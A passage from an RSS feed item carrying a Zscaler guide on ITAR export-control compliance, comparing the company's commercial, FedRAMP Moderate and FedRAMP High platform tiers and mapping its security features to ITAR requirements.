CFR Part 122 and Part 129).Access Restricted to U.S. Persons:&nbsp; ITAR-controlled technical data may only be accessed by U.S. persons (citizens, lawful permanent residents, or certain protected individuals) and entities incorporated in the U.S. unless specific DDTC authorization has been granted (22 CFR § 120.62).Deemed Exports: Disclosing or transferring ITAR-controlled technical data to a foreign person, even within the United States, is treated as an export (a 'deemed export') and requires prior DDTC authorization. This is the primary regulatory basis for restricting access to U.S. persons (22 CFR § 120.50).Prohibition on Unauthorized Export:&nbsp; ITAR-controlled technical data may not be exported without prior authorization from the DDTC (22 CFR § 127.1).Release of Technical Data: Under ITAR, technical data is "released" through visual or other inspection of a defense article that reveals technical data to a foreign person, oral or written exchanges with foreign persons, or the use of access information (such as decryption keys or network credentials) that enables a foreign person to access unencrypted technical data. A release to a foreign person constitutes an export under 22 CFR § 120.50 and requires prior DDTC authorization. Organizations using cloud security platforms that inspect, process, or store unencrypted ITAR-controlled technical data must ensure that platform personnel who can access that data in unencrypted form are U.S. persons or that appropriate DDTC authorization is in place (22 CFR § 120.50, 120.55, 120.56).Audit and Continuous Monitoring:&nbsp;&nbsp;DDTC expects organizations to maintain records demonstrating compliance with access controls, data handling policies, and export authorizations. Zscaler's Three Platform TiersZscaler operates three distinct platform environments, each with different compliance postures relevant to ITAR-regulated workloads. Choosing which tier to operate in is a customer responsibility based on their compliance risk tolerance.Zscaler Commercial Platform&nbsp;Zscaler's commercial platform delivers the full Zero Trust Exchange capability set for enterprise customers worldwide. It is cloud-native, operates across a global network of 160+ Points of Presence (PoPs), and is designed to support the security requirements of commercial and multinational companies and organizations.Key Attributes for the Commercial Platform:Compliance:&nbsp;ISO 27001, SOC2 Type 2, CSA STAR Level 2 and other industry and regional compliance certifications, attestations and standards. Please visit Zscaler’s&nbsp;Customer Compliance Center for more information.&nbsp;Locations:&nbsp;US &amp; International.&nbsp;U.S.-person operational support coverage: Support personnel access may include non-U.S. persons, and the platform is not restricted to the U.S.-based infrastructure.Data Types:&nbsp;Suitable for non-ITAR/non-CUI workloads.Zscaler Commercial Platform ITAR PostureOrganizations handling ITAR-regulated technical data should not route that data through commercial-tier nodes without applying additional compensating controls.&nbsp;Organizations that do not handle ITAR-regulated technical data can leverage the commercial platform's full capability set without compliance exposure&nbsp; Zscaler FedRAMP Moderate PlatformZscaler Internet Access (ZIA) and Zscaler Private Access (ZPA) on the FedRAMP Moderate authorized platform are designed for U.S. federal agencies and government contractors processing Controlled Unclassified Information (CUI) at the Moderate baseline. This platform is physically separated from commercial infrastructure and operated with U.S. persons in support roles.Key Attributes of FedRAMP Moderate:Compliance:&nbsp;FedRAMP Moderate, CJIS, IRS 1075 FTI RequirementsLocations: US &amp; International&nbsp;International locations are not enabled by default and require an additional configuration and purchase.&nbsp;U.S.-person operational support coverage:&nbsp;&nbsp;Tier 1 and Tier 2 support personnel accessing government platform environments are subject to screening controls consistent with federal requirements.&nbsp;&nbsp;Technical support provided by personnel from Tier 3 and above may be provided by a mixed population of US- and non-US personnel and may include OCONUS access. Entities managing ITAR-regulated technical data must assess if this operational support coverage aligns with regulatory prohibitions on foreign person access within their unique risk profile.Data Types:&nbsp;Controlled Unclassified Information (CUI) Zscaler FedRAMP High PlatformZscaler's FedRAMP High authorized platform represents the most rigorous compliance posture available within the Zero Trust Exchange. It is designed to protect the government's most sensitive unclassified data and is the recommended environment for organizations with ITAR-regulated technical data, or contractual requirements that demand the highest cloud security baseline.Key attributes of the FedRAMP High platform:Compliance:&nbsp;FedRAMP High, CJIS, IRS 1075 FTI RequirementsLocations:&nbsp;CONUS-only&nbsp;U.S.-Screened Personnel:&nbsp;All access to systems processing customer data on this platform is restricted to screened U.S. persons, consistent with ITAR's foreign person access prohibition.Data Types:&nbsp;Controlled Unclassified Information (CUI)Zscaler FedRAMP High ITAR PostureZscaler's FedRAMP High platform is designed to align with organizations with ITAR-regulated technical data. It is the only Zscaler platform tier for which complete US-person coverage is available. Hundreds of federal agencies and DIB customers currently use Zscaler's FedRAMP authorized platforms to secure their missions.&nbsp; Platform Compliance ComparisonCompliance &amp; CapabilitiesCommercialCloudFedRAMPModerateFedRAMPHighFedRAMP Authorization LevelN/AModerateHighFedRAMP 20x Classification ClassN/AClass CClass DITAR Compliance Report AvailableX✓✓Complete US-person CoverageX/✓U.S.-Person Access Controls&nbsp;(Support Staff)/✓✓U.S. Data SovereigntyX/✓Recommended for ITAR-regulated technical dataXX✓✓ = Supported / Customer Responsibility &nbsp;&nbsp;X = Not Available / No Commitment&nbsp;&nbsp; / = Partial / Risk Acceptance Required&nbsp; Zscaler Capabilities That Can Support ITAR ComplianceThe following capabilities are available across FedRAMP Moderate and High platforms with customer-driven ITAR-relevant configurations.Zero Trust Network Access (ZPA)Unlike legacy VPN architectures, Zscaler Private Access does not expose network topology to users or attackers. ZPA verifies every user and device before access is granted, enforcing least-privilege access to applications, not networks. This eliminates the risk of lateral movement to ITAR-regulated systems and prevents foreign-person attribution through network traffic analysis. ZPA's application-level access model means ITAR technical data remains siloed within authorized application boundaries.Secure Web Gateway (ZIA) with 100% SSL/TLS InspectionZscaler Internet Access performs complete SSL/TLS inspection, including encrypted traffic, without performance degradation. This is operationally critical for ITAR compliance: without full inspection, encrypted exfiltration channels remain a blind spot. ZIA's AI/ML-driven threat detection analyzes over 119 trillion annual transactions to identify and block emerging threats, including those targeting defense-sector organizations.&nbsp;Data Loss Prevention (DLP)Zscaler's DLP capability performs AI-driven content inspection to detect and classify ITAR-regulated technical data, including CAD files, engineering specifications, and defense-related documentation. Inspecting encrypted traffic at scale ensures no blind spots exist for data exfiltration through SSL channels. DLP policies can be configured to block, warn, or log transfers of ITAR-sensitive content, and telemetry feeds directly into audit records required for DDTC compliance demonstration.Cloud Access Security Broker (CASB)Zscaler CASB provides visibility and control over cloud application usage, enabling organizations to detect when ITAR-regulated data is being uploaded to unauthorized cloud services. On FedRAMP Moderate and High platforms, CASB applies ITAR-aware policies, generating the audit record necessary to demonstrate that ITAR technical data is not being transmitted to unauthorized cloud environments or accessed by foreign-person-operated services.Advanced Threat ProtectionNation-state actors routinely target defense contractors handling ITAR-regulated technical data. ZIA blocks an average of 1,700 threats daily and 4.5 billion threats monthly using behavioral analysis and threat intelligence from Zscaler's global sensor network. For DIB organizations, this threat protection layer is the first line of defense against the APT campaigns most likely to pursue ITAR-covered defense technology.FIPS-Validated EncryptionZscaler supports FIPS-validated encryption across all platform tiers. FIPS-validated end-to-end encryption is a primary mechanism to reduce residual risk. However, FIPS-validated encryption should not be used as a substitute for the contractual commitments available on FedRAMP Moderate and High platforms. While properly encrypted data in transit may fall outside the export definition, the carve-out does not eliminate the need for U.S.-person access controls on decryption keys and the underlying data. (22 CFR § 120.54(a)(5))ITAR "Release" Considerations for Cloud Security FeaturesSeveral Zscaler capabilities involve inspecting, analyzing, or processing customer traffic in unencrypted form. When that traffic contains ITAR-controlled technical data, these activities may constitute a "release" of technical data under 22 CFR § 120.56 if platform personnel who are foreign persons can access the unencrypted content. On Zscaler's FedRAMP Moderate and High platforms, support personnel with access to customer environments are screened U.S. persons, which mitigates this risk. On the commercial platform, support personnel may include foreign persons, and Zscaler does not contractually restrict access on a nationality basis. Customers routing ITAR-controlled technical data through any Zscaler platform are responsible for evaluating whether the platform's access controls are sufficient to prevent an unauthorized release under their specific compliance posture.&nbsp; ITAR Requirement MappingTo support customers in leveraging Zscaler to implement ZTNA to meet ITAR requirements, Zscaler provides the following table mapping Zscaler capabilities to some of ITAR’s requirements. This mapping applies to FedRAMP Moderate and High platform deployments.ITAR RequirementZscaler Platform CoverageCustomer ResponsibilityAccess Restricted to U.S. Persons (22 CFR § 120.62)ZIA and ZPA verify identity and device posture before granting application access.FedRAMP Gov platform support staff restricted to screened U.S. persons.ZPA enforces least-privilege access policies.Customers must screen internal users for U.S. person status. Customers must configure ZPA policies to enforce ITAR data access restrictions.Prohibition on Unauthorized Export (22 CFR&nbsp;§&nbsp;127.1)CASB detects and blocks uploads of ITAR data to unauthorized cloud services.DLP identifies and prevents transmission of ITAR-regulated content.ZIA enforces outbound traffic policies.Customers must define DLP policies aligned to their ITAR technical data categories. Customers must obtain and document any required DDTC export authorizations.Data Residency and Transmission ControlsFedRAMP High platform restricts data processing to CONUS infrastructure.FIPS-validated encryption for in-transit data protection.Customers must select FedRAMP Moderate or High platform (not commercial) for ITAR workloads. Customers must document data flows and residency requirements.Audit and Continuous Monitoring (DDTC recordkeeping)ZIA and ZPA generate detailed session logs for audit review.DLP telemetry provides evidence of policy enforcement.CASB reports document cloud application governance posture.Customers must retain logs in accordance with DDTC record retention requirements. Customers must establish continuous monitoring processes aligned to their ITAR compliance program.DDTC Registration and Contractual CommitmentsZscaler provides contractual ITAR commitments on FedRAMP Moderate and High platforms.ITAR compliance reports available at zscaler.com/compliance/overview.Customers must register with DDTC independently.&nbsp; Customers must execute appropriate contractual agreements with Zscaler via the FedRAMP Gov platforms.&nbsp; Choosing the Right Zscaler PlatformThe decision framework for platform selection is straightforward: the nature of the data and the contractual requirements of the organization determine the appropriate platform tier.Select Zscaler FedRAMP High If:Your organization handles ITAR-regulated technical data in the course of normal operations.Your organization handles CUI in the course of normal operations.Your prime contract or government agreement requires a cloud platform with US-person contractual requirements.You need the Zscaler platform that provides the strongest available audit evidence for DDTC compliance demonstration.Select Zscaler FedRAMP Moderate If:Your organization handles ITAR-regulated technical data in the course of normal operations.Your organization handles CUI in the course of normal operations.You are pursuing CMMC Level 2 compliance.You need FedRAMP authorization for civilian agencies or lower-sensitivity government workloads.You are migrating from commercial toward higher compliance posture.Admin Note:&nbsp;Depending on the supported product, technical support provided by personnel from Tier 3 and above may be provided by a mixed population of US- and non-US personnel and may include OCONUS access.Select Zscaler Commercial Platform If:Your organization does not handle&nbsp;ITAR-regulated technical data or&nbsp;CUI at the Moderate or High baseline.You are a commercial enterprise&nbsp;without federal contracting requirements that trigger FedRAMP or ITAR requirements.You require the full commercial capability set, including integrations with the global Azure commercial or AWS commercial ecosystems, and your workloads are not ITAR-restricted. ConclusionITAR compliance in a cloud security context is not a checkbox. It is a continuous operational discipline that begins with selecting the right platform and extends through policy configuration, access governance, audit, and documented risk management.Zscaler's Zero Trust Exchange provides the security architecture and platform tiers necessary to support compliance at every level of the Defense Industrial Base:Zscaler FedRAMP High platform:&nbsp;The highest available unclassified security posture, with contractual ITAR commitments, and FedRAMP authorization. It provides the strongest available controls for organizations processing ITAR-regulated technical data.Zscaler FedRAMP Moderate platform:&nbsp;U.S. government-grade security with ITAR compliance reports for DIB and civilian agency workloads.Zscaler Commercial platform:&nbsp;Full Zero Trust Exchange capabilities for non-ITAR enterprise workloads.Choosing the right platform, and configuring it correctly, is a risk decision that belongs to the customer. Zscaler's Federal and Defense segment is positioned to support that decision through platform guidance, compliance documentation, and field advisory engagement with CISOs, CIOs, and compliance officers across the Defense Industrial Base.This guide is for informational purposes only and does not constitute legal or export-control advice. Information is current as of&nbsp;August 19, 2026 and subject to change. Zscaler makes no representations or warranties regarding the applicability of this guide to any organization’s specific compliance requirements. Consult qualified export-control counsel before making platform or compliance decisions based on this guide.]]></description>
            <dc:creator>Jeffrey Adorno (Director, Emerging Technology)</dc:creator>
        </item>
    </channel>
</rss>